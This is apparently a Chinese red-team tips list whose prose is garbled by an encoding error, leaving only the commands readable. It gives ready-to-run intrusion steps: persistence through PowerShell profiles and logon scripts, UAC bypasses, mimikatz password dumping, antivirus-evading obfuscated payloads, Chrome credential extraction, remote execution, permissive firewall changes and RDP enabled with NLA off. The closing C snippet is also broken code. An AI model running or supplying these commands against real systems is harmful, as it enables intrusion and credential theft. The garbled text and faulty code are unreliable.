ãæ¸éæå·§ââ"éè"注å表çæ´å¤æµè¯ã
æ¹æ³19ï¼powershellé ç½®æ件
ä¿®æ¹powershellé ç½®æ件ï¼åé¨å¨powershellè¿ç¨å¯å¨å触å
æ¥çæ¯å¦ä½¿ç¨é ç½®æ件ï¼
Test-Path $profile
å建é ç½®æ件ï¼
New-Item -Path $profile -Type File âForce
ä¿®æ¹é ç½®æ件å 容ï¼æ·»å åé¨ï¼
$string = 'Start-Process "cmd.exe"'
$string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
From:
https://rastamouse.me/2018/03/a-view-of-persistence/
æ¹æ³20ï¼xmlæ件
åèï¼
Tips 31. UACç»è¿
æ¹æ³1ï¼use eventvwr.exe and registry hijacking
éç¨ï¼Win7ï¼Win8.1ï¼Win 10
https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1
åèï¼
ãStudy Notes of WMI Persistence using wmic.exeã
ãUserland registry hijackingã
æ¹æ³2ï¼use sdclt.exe
éç¨Win10
åèï¼
ãStudy Notes of using sdclt.exe to bypass UACã
æ¹æ³3ï¼use SilentCleanup
éç¨Win8,Win10
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
åèï¼
ãStudy Notes of using SilentCleanup to bypass UACã
æ¹æ³4ï¼use wscript.exe
åªéç¨äºWin7
https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1
åèï¼
ãEmpireä¸çInvoke-WScriptBypassUACå©ç¨åæã
æ¹æ³5ï¼use cmstp.exe
https://msitpros.com/?p=3960
éç¨äºWin7
æ¹æ³5ï¼ä¿®æ¹ç¯å¢åéï¼å«æé«æé.Netç¨åº
éç¨Win7-Win10
å¦gpedit.msc
ä¿®æ¹ç¯å¢åéï¼å©ç¨CLRå«ægpedit.mscçå¯å¨è¿ç¨
åèï¼
æ¹æ³6ï¼ä¿®æ¹æ³¨å表HKCU\Software\Classes\CLSIDï¼å«æé«æéç¨åº
éç¨Win7-Win10
- {B29D466A-857D-35BA-8712-A758861BFEA1}
- {D5AB5662-131D-453D-88C8-9BBA87502ADE}
- {0A29FF9E-7F9C-4437-8B11-F424491E3931}
- {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}
åèï¼
æ¹æ³7ï¼å©ç¨COMç»ä»¶
ä¿®æ¹è¿ç¨ä¿¡æ¯ï¼æ¬ºéªPSAPIï¼è°ç¨COMç»ä»¶å®ç°è¶ææä½
åèï¼
ãéè¿COMç»ä»¶IFileOperationè¶æå¤å¶æ件ã
ãéè¿COMç»ä»¶NetFwPolicy2è¶æå ³éé²ç«å¢ã
ãéè¿COMç»ä»¶IARPUninstallStringLauncherç»è¿UACã
Tips 32. Visual Studioçæçexeææ¯dllå¨å ¶ä»ç³»ç»ä½¿ç¨ï¼æ示缺å°ç¸å ³DLLæ件
解å³æ¹æ³ï¼
å°ç¨åºæå åå¸
项ç®èå->项ç®å±æ§ï¼C/C++->代ç çæ->è¿è¡åºï¼éæ©å¤çº¿ç¨ (/MT)
Tips 33. 使ç¨LaZagne导åºå½åç³»ç»ä¸å¸¸è§åºç¨åå¨çå¯ç
å¯ä»¥ä½¿ç¨LaZagne导åºå½åç³»ç»ä¸å¸¸è§åºç¨åå¨çå¯ç ï¼ä¾å¦æµè§å¨ãWifiãGitãOutlookçï¼
https://github.com/AlessandroZ/LaZagne
å½ç¶ï¼ä¹å¯ä»¥ä¿®æ¹LaZagneæºç å®ç°å¯¹å ¶ä»åºç¨çå¯ç 导åº
åèï¼
ãæ¬å°å¯ç æ¥çå·¥å ·LaZagneä¸çèªå®ä¹èæ¬å¼åã
Tips 34. 使ç¨powershell读åæ件
读ææ¬æ件ï¼
$file = Get-Content "1.txt"
åææ¬æ件ï¼
Set-content "1.txt"
读äºè¿å¶æ件ï¼
[System.IO.File]::ReadAllBytes('1.exe')
åäºè¿å¶æ件ï¼
[System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)
Tips 35. powershellä½base64ç¼ç /解ç
ç¼ç ï¼
$encoded = [System.Convert]::ToBase64String($fileContent)
解ç ï¼
$fileContent = [System.Convert]::FromBase64String($encoded)
åèï¼
ãStudy Notes of using BGInfo to bypass Application Whitelistingã
Tips 36 å¦æpowershellèæ¬è¢«æ¥æï¼å¯ä»¥å°è¯ä½¿ç¨Invoke-Obfuscationè¿è¡æ··æ·
https://github.com/danielbohannon/Invoke-Obfuscation
eg.
设置è¦æ··æ·ç代ç ï¼
set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "
è¾å
¥encoding
è¾å
¥1
ï¼æå®ç¼ç 为ascii
å¾å°æ··æ·åç代ç ï¼
" $(SEt-iTem 'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE 'oFS' ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')
Tips 37 pythonèæ¬è½¬exe
常è§ç两ç§æ¹æ³ï¼
- 使ç¨py2exe
- 使ç¨PyInstaller
使ç¨æ¹æ³å常è§bug解å³æ¹æ³å¯åç §åèé¾æ¥
åèï¼
ãæ¬å°å¯ç æ¥çå·¥å ·LaZagneä¸çèªå®ä¹èæ¬å¼åã
Tips 38 æ®éç¨æ·æéå管çåæéçè·¯å¾ä¸åæ件
eg.
以æ®éç¨æ·æéåc:\windows
æ件夹ä¸éæ¾æ件
makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
éç¨äºWin7ãWin8ï¼å¦ä¹ èªï¼
https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1
åèï¼
ãEmpireä¸çInvoke-WScriptBypassUACå©ç¨åæã
Tips 39 å¨è¿ç¨ç³»ç»ä¸æ§è¡ç¨åºçæ¹æ³æ±æ»
常ç¨æ¹æ³ï¼
- at
- psexec
- WMIC
- wmiexec
- smbexec
- powershell remoting
psexecçç¨æ³ï¼
psexec.exe \\test.local /accepteula -u test\admin -p test123! -s -c test.bat
test.batå¨æ¬å°
æ°æ¹æ³ï¼
- DCOM
åè:
ãåæ¸éââå©ç¨DCOMå¨è¿ç¨ç³»ç»æ§è¡ç¨åºã
Tips 40 寻æ¾Windowsç³»ç»ä¸å¯è¢«å©ç¨çæå¡
æ举Windowsç³»ç»æå¡å¯¹åºå¯æ§è¡æ件çè·¯å¾ï¼å¦æè·¯å¾å å«æ®éç¨æ·çåæéï¼é£ä¹è¯¥æå¡å¯è¢«ç¨æ¥æåæé
powershell代ç :
$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
Write-host Owner: $a.Owner
}
}
}
}
Write-host [+] All done.
åèï¼
ãUse powershell to find a writable windows serviceã
Tips 41 å©ç¨ææ¯è½¯ä»¶çé ç½®é误å®ç°èªå¯å¨å¹¶ä¼å äºææ¯è½¯ä»¶æ§è¡
Windowsç³»ç»æ¯æLogon Scriptsï¼Logon Scriptsæ¯å¨ç³»ç»å¯å¨æ¶æ§è¡ï¼æ§è¡é¡ºåºè¦ä¼å äºææ¯è½¯ä»¶ï¼å½ç¶ï¼ææ¯è½¯ä»¶æ æ³æ¦æªLogon Scriptsä¸èæ¬çæä½ï¼ææ¯è½¯ä»¶å°æªå¯å¨ï¼
å ³é®å¨äºææ¯è½¯ä»¶ä¼ä¸ä¼æ¦æªLogon Scriptsçé 置使ç¨
使ç¨ç¹æ®æä½æ·»å Logon Scriptsï¼ææ¯è½¯ä»¶ä¸ä¼æ¦æª
注ï¼
以ä¸æå°çææ¯è½¯ä»¶æ¯æâé¨åâææ¯è½¯ä»¶ï¼å¹¶ä¸éç¨
åèï¼
ãUse Logon Scripts to maintain persistenceã
Tips 42 ç¼è¯c#ç¨åºæ³¨æäºé¡¹
使ç¨Visual Studioï¼
项ç®åè¦ånamespaceæå®çå称对åºï¼å¦æä¸å¯¹åºï¼å¯å¨é¡¹ç®-å±æ§-ç¨åºéå称ä¸ä¿®æ¹ï¼å¦åçæçdllæ æ³ä½¿ç¨
使ç¨csc.exe:
eg.
using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
ä¿å为TestDotNet.csï¼ç´æ¥ä½¿ç¨csc.exeçæ就好ï¼
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs
å¦æä¿å为a.csï¼é£ä¹éè¦å /outåæ°æå®è¾åºæ件为TestDotNet.dllï¼è¿æ ·ç¨åºéå称ä¹é»è®¤ä¸ºTestDotNetï¼åæºä»£ç 对åºï¼ï¼å¦åï¼dllè½ç¶è½å¤è¢«å è½½ï¼ä½æ æ³æ§è¡ï¼åæ°å¦ä¸ï¼
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs
Tips 43 使ç¨net useè¿ç¨è¿æ¥ç端å£é®é¢
使ç¨net useè¿ç¨è¿æ¥ï¼ç®æ å¦æå¼å¯äºNetBIOS over TCP/IPï¼é£ä¹ï¼
- ç®æ åæ¶å¼æ¾139å445端å£ï¼ç³»ç»ä¼å 使ç¨445端å£è¿æ¥
- ç®æ ç¦ç¨445端å£ï¼å¯ä½¿ç¨139端å£è¿æ¥
ç®æ å¦æç¦ç¨äºNetBIOS over TCP/IPï¼é£ä¹ï¼
- ç®æ ç¦ç¨445端å£ï¼æ æ³è¿æ¥
Tips 44 è·å¾TrustedInstalleræé
å¯å¨æå¡TrustedInstaller,éè¿Tokenå¤å¶æ¥è·å¾TrustedInstalleræé
常ç¨æ¹æ³ï¼
- SelectMyParent
- Invoke-TokenManipulation.ps1
- incognito
åèï¼
æ¸éæå·§ââTokençªåä¸å©ç¨
Tips 45 3389è¿ç¨è¿æ¥
1ãæ¥è¯¢ç³»ç»æ¯å¦å 许3389è¿ç¨è¿æ¥ï¼
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
1è¡¨ç¤ºå ³éï¼0表示å¼å¯
æ¥çè¿ç¨è¿æ¥ç端å£ï¼
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
2ãæ¬æºå¼å¯3389è¿ç¨è¿æ¥çæ¹æ³
æ¹æ³1ï¼éè¿cmd
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
æ¹æ³2ï¼éè¿regæ件
å 容å¦ä¸ï¼
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
å¯¼å ¥æ³¨å表ï¼
regedit /s a.reg
注ï¼
ä¿®æ¹è¿æ¥ç«¯å£éå¯åçæ
è¡¥å
å¦æç³»ç»æªé ç½®è¿è¿ç¨æ¡é¢æå¡ï¼ç¬¬ä¸æ¬¡å¼å¯æ¶è¿éè¦æ·»å é²ç«å¢è§åï¼å 许3389端å£ï¼å½ä»¤å¦ä¸:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
å¦æè¿æ¥åºéï¼æ示An authentication error has occurred.The function requested is not supported.
éè¦å
³éè¿ç¨è¿æ¥çä¸ä¸ªé项ï¼Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended)
å ³éæ¹æ³ï¼
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x00000000 /f
3ãè¿ç¨è¿æ¥æ¹æ³
kali使ç¨3389è¿ç¨è¿æ¥ï¼
rdesktop 192.168.1.1:3389
Windowsï¼
mstsc.exe
éæå¡å¨çæ¬çWindowsç³»ç»ï¼é»è®¤åªå 许ä¸ä¸ªè´¦æ·ç»å½
å ·ä½è¡¨ç°ä¸ºï¼
è¿ç¨ç»å½æ¶ï¼ä½¿ç¨ä¸åç³»ç»ç¸åçè´¦æ·ï¼åç³»ç»å°è¢«åæ¢å°ç»å½çé¢
使ç¨ä¸åçè´¦æ·ï¼åç³»ç»æ¡é¢å°å¼¹æ¡æ示æ¯å¦æå¼å½åè¿æ¥(30ç§åé»è®¤éæ©åæ)
解å³æ¹æ³:
使ç¨mimikatz.exe,æ§è¡ts::multirdp
å
许å¤ç¨æ·è¿ç¨ç»å½
è½å¤å®ç°ä¸åå¸æ·è¿ç¨ç»å½ä¸å²çª,åç³»ç»æ¡é¢ä¸ä¼å¼¹æ¡æ示
å½ç¶ï¼ä½¿ç¨ä¸åç³»ç»ç¸åçè´¦æ·ï¼åç³»ç»è¿æ¯ä¼è¢«åæ¢å°ç»å½çé¢
注ï¼
该æ¹æ³å¨ç³»ç»éå¯å失æï¼ä¸æ¬¡ä½¿ç¨éè¦éæ°æ§è¡å½ä»¤ts::multirdp
ä¹å¯éè¿ä¿®æ¹æ件termsrv.dllå®ç°æ°¸ä¹ ä¿®æ¹
åèï¼
ãæ¸éæå·§ââWindowsç³»ç»è¿ç¨æ¡é¢çå¤ç¨æ·ç»å½ã
Tips 46 使ç¨netshä¿®æ¹è¿ç¨ç³»ç»çé²ç«å¢è§å
è¿ç¨ç³»ç»éè¦å
许Windowsé²ç«å¢è¿ç¨ç®¡ç
,å¼å¯å½ä»¤å¦ä¸ï¼
netsh advfirewall set currentprofile settings remotemanagement enable
eg.
netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
åè:
ãåæ¸éââå©ç¨DCOMå¨è¿ç¨ç³»ç»æ§è¡ç¨åºã
Tips 47 å«æUAC
å½å¼¹åºUACæ示æ¡çæ¶åï¼æ§è¡ä»»æ代ç ,å¯éè¿ä¿®æ¹æ³¨å表å«æç¾åéªè¯çåè½ï¼æå ¥payload
åèï¼
ãAuthenticodeç¾å伪é ââPEæ件çç¾å伪é ä¸ç¾åéªè¯å«æã
Tips 48 PEæ件çAuthenticodeç¾å伪é
éè¿ä¿®æ¹æ³¨å表ï¼è½å¤ç»PEæ件添å 微软è¯ä¹¦
åèï¼
ãAuthenticodeç¾å伪é ââPEæ件çç¾å伪é ä¸ç¾åéªè¯å«æã
ãAuthenticodeç¾å伪é ââé对æ件类åçç¾å伪é ã
Tips 49 PEæ件çCatalogç¾å伪é
æé Long UNCæ件åï¼å®ç°æ件å欺éªï¼è·å¾Catalogç¾å
åèï¼
ãCatalogç¾å伪é ââLong UNCæ件å欺éªã
Tips 50 mklink
ç¨äºå建符å·é¾æ¥ï¼å¯ç解为快æ·æ¹å¼
å建ç®å½c:\test\1ï¼æåc:\tempï¼å¯ä½¿ç¨ä»¥ä¸æä½ï¼
(1) 使ç¨/Dåæ°å½ä»¤å建ä¸ä¸ªé¾æ¥ï¼
mklink /D "c:\test\1" "c:\Temp"
(2) 使ç¨/Jåæ°å½ä»¤å建ä¸ä¸ªèæ¥ï¼
mklink /J "c:\test\1" "c:\Temp"
å·®å¼ï¼
使ç¨/Dåæ°å建çé¾æ¥ï¼æ件å±æ§å¤äº"å¿«æ·æ¹å¼"
使ç¨/Jä¸éè¦ç®¡çåæé
使ç¨/Déè¦ç®¡çåæé
åºç¨ï¼
æ´æ¹éæ¾æ件çè·¯å¾
Tips 51 powershellå¨æ§è¡èæ¬æ¶ä¼ å ¥åæ°
powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"
powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""
Tips 52 dllæ³¨å ¥æ¹æ³
1ãAPC
åèï¼
ãéè¿APCå®ç°Dllæ³¨å ¥ââç»è¿Sysmonçæ§ã
2ãprocess hollowing
åèï¼
ãåå¡è¿ç¨çå®ç°ä¸æ£æµã
3ãProcess Doppelgänging
åèï¼
ãProcess Doppelgangingå©ç¨ä»ç»ã
Tips 53 åå é»è®¤å ±äº«ç®å½
\\<DOMAIN>\SYSVOL\<DOMAIN>\
ææåå 主æºé½è½è®¿é®ï¼éé¢ä¿åç»çç¥ç¸å ³æ°æ®ï¼å å«ç»å½èæ¬é ç½®æ件ç
åèï¼
ãåæ¸éââå©ç¨SYSVOLè¿åç»çç¥ä¸ä¿åçå¯ç ã
Tips 54 ä½ çTeamVieweræå¯è½è¢«åæ§
å¦æä½ çTeamViewerçæ¬ä¸º13.0.5058
ï¼ä¸è¦éæè¿æ¥æªç¥çTeamVieweræå¡å¨ï¼æå¯è½è¢«åæ§
åèï¼
ãTeamViewer 13.0.5058ä¸çæéæ¼æ´æµè¯ã
Tips 55 è¿ç¨æ¥çåæ§ç»å½ã注éç¸å ³çæ¥å¿ï¼
æ¹æ³1:
wevtutil qe security /rd:true /f:text /q:"*[System[(EventID=4672 or EventID=4623 or EventID=4672) and TimeCreated[@SystemTime>='2022-05-26T02:30:39' and @SystemTime<='2022-05-26T02:31:00']]]" /r:dc1 /u:administrator /p:password
wevtutil qe security /rd:true /f:text /q:"(Event/System/EventID=4624 or 4623 or 4672) and Event/System/TimeCreated/@SystemTime >= '2022-05-26T02:30:39' and Event/System/TimeCreated/@SystemTime <= '2022-05-26T02:31:00'" /r:dc1 /u:administrator /p:password
æ¹æ³2ï¼
(ä¸æ¨èï¼ç´æ¥ä¸è½½æ件太大)
è·ååæ§æ件:C:\Windows\System32\winevt\Logs\Security.evtx
ï¼çéäºä»¶4624/4623/4672
Tips 56 å¤æå½åç³»ç»æ¯å¦å¤å¨å¾ æºç¶æ
éå±ç¶æä¸GetForegroundWindow()çå½æ°è¿åå¼ä¸ºNULLï¼ééå±ç¶æä¸GetForegroundWindow()çå½æ°è¿åå¼ä¸ºä¸ä¸ªéé¶çå¼
åèï¼
https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen
Powershellèæ¬å®ç°ï¼
https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1
Tips 57 è·å¾å½åç³»ç»ç¨æ·æ è¾å ¥çæ¶é´
éè¿API GetIdleTimeè¿è¡å¤æ
c#å®ç°ï¼
https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C
powershellèæ¬å®ç°ï¼
https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1
Tips 58 å¤æå½åç³»ç»çå±ä¿å¯å¨æ¶é´
å¤ææ¯å¦å¼å¯å±ä¿ï¼
æ¥æ¾æ³¨å表HKEY_CURRENT_USER\Control Panel\Desktop
ï¼æ¯å¦åå¨é®å¼SCRNSAVE.EXE
REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE
å¦æå¼å¯å±ä¿ï¼æ¥çé®å¼ScreenSaveTimeOut
è·å¾å±ä¿å¯å¨æ¶é´(以ç§ä¸ºåä½)
REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut
Tips 59 éèæå®è¿ç¨ççé¢
éè¿API ShowWindowAsyncæ¹åçªå£ç¶æ
éè¿powershellå®ç°ï¼èæ¬å¯åèï¼
https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1
Tips 60 éè¿Powershell对Windowsç³»ç»æªå±
èæ¬ä¸è½½å°åï¼
https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1
Tips 61 æ¥çå½åWindowsç³»ç»å·²å®è£ çç¨åº
éè¿æ举注å表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallä¸ææåå¥çDisplayNameè·å
注ï¼
64ä½ç³»ç»ä¸32ä½ç¨åºçç®å½ä¸ºHKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
powershellèæ¬å®ç°çåèå°åï¼
https://github.com/3gstudent/ListInstalledPrograms
Tips 62 éè¿wmiè·å¾å½åç³»ç»çç±»å
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list
Value | Meaning |
---|---|
0 (0x0) | Unspecified |
1 (0x1) | Desktop |
2 (0x2) | Mobile |
3 (0x3) | Workstation |
4 (0x4) | Enterprise Server |
5 (0x5) | Small Office and Home Office (SOHO) Server |
6 (0x6) | Appliance PC |
7 (0x7) | Performance Server |
8 (0x8) | Maximum |
Tips 63 导åºChromeæµè§å¨ä¿åçå¯ç ï¼
1ãå¨çº¿è·å
æ¹æ³1:
读åæ°æ®åºæ件%LocalAppData%\Google\Chrome\User Data\Default\Login Data
ï¼å¦æChromeæµè§å¨æ£å¨è¿è¡ï¼æ æ³ç´æ¥è¯»åï¼éè¦å
å¤å¶
å¨å½åç³»ç»è°ç¨API CryptUnprotectDataç´æ¥è§£å¯
æ¹æ³2:
mimikatz
vault::cred
åèï¼
ãæ¸éæå·§ââ导åºChromeæµè§å¨ä¸ä¿åçå¯ç ã
2ã离线è·å
使ç¨Master Keyï¼ä¸éè¦è·å¾ç¨æ·ææå¯ç
åè:
ãæ¸éæå·§ââå©ç¨Masterkey离线导åºChromeæµè§å¨ä¸ä¿åçå¯ç ã
Tips 65 éè¿ShadowCopyè·å¾ç³»ç»çåå²æ件
æ¥è¯¢å½åç³»ç»ææ å¿«ç §ï¼
vssadmin list shadows
访é®åå²å¿«ç §ä¸çæ件ï¼
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc
åè:
ãåæ¸éââè·å¾åæ§æå¡å¨çNTDS.ditæ件ã
Tips 64 å½ä»¤è¡æ§è¡å¤æ¡å½ä»¤çæ¹æ³
aa && bb
æ§è¡aaï¼æåååæ§è¡bb
aa || bb
å æ§è¡aaï¼è¥æ§è¡æååä¸åæ§è¡bbï¼è¥å¤±è´¥ååæ§è¡bb
aa & bb
å æ§è¡aaåæ§è¡bbï¼æ 论aaæ¯å¦æå
Tips 65 éè¿powershellåéé®ä»¶(å å«é件)
两ç§æ¹æ³ï¼ä»£ç å¯åèï¼
https://github.com/3gstudent/SendMail-with-Attachments
Tips 66 éè¿powershell读å注å表è·å¾ææç¨æ·çè¿ç¨æ¡é¢è¿æ¥åå²è®°å½
é»è®¤è¯»æ³¨å表åªè½è·åå½åå·²ç»å½ç¨æ·ç注å表信æ¯,å¯éè¿reg load
å è½½é
ç½®åå
è·å¾æªç»å½ç¨æ·ç注å表é
ç½®
代ç å¯åèï¼
https://github.com/3gstudent/ListInstalledPrograms
åè:
ãæ¸éæå·§ââè·å¾Windowsç³»ç»çè¿ç¨æ¡é¢è¿æ¥åå²è®°å½ã
Tips 67 使ç¨pscpå®ç°éè¿å½ä»¤è¡ä»WindowsåLinuxä¸ä¼ æ件
ä¸è½½å°åï¼
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
ä¸ä¼ çå½ä»¤å¦ä¸ï¼
pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root/
ä¼æ示æ¯å¦åå¨ç¼åæ件
è¾å
¥Y
ï¼å¨æ³¨å表æ°å»ºé®å¼ï¼HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys
ï¼ä¸æ¬¡è¿æ¥ä¸éè¦å次è¾å
¥Y
è¾å
¥N
ï¼ä¸ä¿å注å表é®å¼
å®ç°èªå¨è¾å
¥N
å½ä»¤çæ¹æ³ï¼
echo n |pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root/
Tips 68 æ举Windowsç³»ç»çå¥æ
- On Windows 8 and later, NtQueryInformationProcess with ProcessHandleInformation is the most efficient method.
- On Windows XP and later, NtQuerySystemInformation with SystemExtendedHandleInformation.
- On Windows 7 and later, NtQuerySystemInformation with SystemHandleInformation can be used.
Noteï¼
- WinXP and Win7,ObjectTypeNumber = 0x1c
- Win8 and later,ObjectTypeNumber = 0x1e
Tips 69 Windowså½ä»¤è¡ä½¿ç¨rarå缩æ件
https://github.com/3gstudent/test/raw/master/rar.exe
æé«å缩æ¯ï¼
rar.exe a -m5 1.rar 1.txt -p123456
åå·å缩,æ¯10MBä¸ä¸ªå缩å ï¼
rar.exe a -m5 -v10m 1.rar 1.txt -p123456
解å缩ï¼
rar.exe e 1.rar -p123456
Tips 70 åè¿ç¨ä½¿ç¨å½ä»¤tasklist /v
/våæ°æ¾ç¤ºè¯¦ç»ä¿¡æ¯ï¼å¯¹æéä¿¡æ¯å¾æ帮å©
Tips 71 Cè¯è¨å»ææ°ç»ä¸çå符串é¦ä½
WCHAR srcString[20] = L"I love you!";
WCHAR targetString[20];
wcsncpy_s(targetString, wcslen(targetString), srcString + 1, (wcslen(targetString) - 1);
wprintf_s(L"%s\n", targetString);